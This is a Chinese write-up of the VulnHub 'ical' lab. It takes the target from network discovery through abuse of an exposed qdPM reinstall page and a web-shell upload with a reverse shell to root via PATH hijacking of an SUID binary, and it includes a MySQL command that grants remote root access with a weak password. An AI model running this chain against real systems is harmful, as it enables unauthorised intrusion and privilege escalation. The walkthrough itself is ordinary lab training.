VulnHub-ical打靶记录
这绝对是最简单的一个题目了。
目标发现
netdiscover -r 192.168.0.10/24
根据靶场和本地系统的网段进行扫描。
信息收集
nmap -sV -Pn -sT -sC -A 192.168.0.199
根据简单的扫描也就是三个服务,一个ssh 一个http 一个mysql
访问http服务 是个登陆的地址,网页源代码也没有什么有用的信息。
大概信息可以看出来是一个cms 名字应该是qdPM 9.2 是个php
dirsearch -u http://192.168.0.199 -w /usr/share/wordlists/dirb/common.txt -e html,txt,php -f -i 200,302
扫描一下目录。
结果就是这些,发现install立马就访问了,可以重装程序。
那么这里就可以把数据装到我们本地进行登陆看看。
这里需要注意 的是由于靶场和我们本地的mysql是两个环境,如果要让靶场把数据装在本地,需要本地mysql,允许远程连接简单的开启命令是
grant all privileges on *.* to root@'%' identified by '123456' with grant option; flush privileges;
在本地mysql执行这条语句后,就允许远程任意地址以账号root密码123456 进行访问。
安装后就可以登陆后台了。
登陆以后没有利用点,需要创建一个管理员用户。在创建的用户中才能操作。
这里上传后门后不能直接使用的。
要用文件路径访问才行,由于扫描信息的时候发现了uploads目录,所以去那里找到。
这里就是后门文件的绝对路径,根据自己上传的木马类型,进行连接即可。我这里是将shell反弹到本地的6666端口
python3 -c 'import pty;pty.spawn("/bin/bash")'
升级交互。
sudo 需要密码。所以查看系统中是否有可以利用的suid文件。
find / -perm -u=s -type f 2>/dev/null
查看系统中拥有特殊权限的文件。
/usr/bin 目录下的大多是安装的程序。那get_access这个可能就是用户自己创建。的所以优先去看他。
/opt$ strings /opt/get_access
可以查看get_access文件中的可见字符
可以看到他运行了cat
那么通过环境变量将伪造一个cat就可以实现用root权限执行伪造cat中的内容。
echo '/bin/bash' > /tmp/cat
在tmp目录中创建一个cat文件,写入 /bin/bash
并给予执行权限。chmod 777 /tmp/cat
将tmp添加到环境变量中。
export PATH=/tmp:$PATH
然后执行该文件 /opt/get_access
即可获得root权限。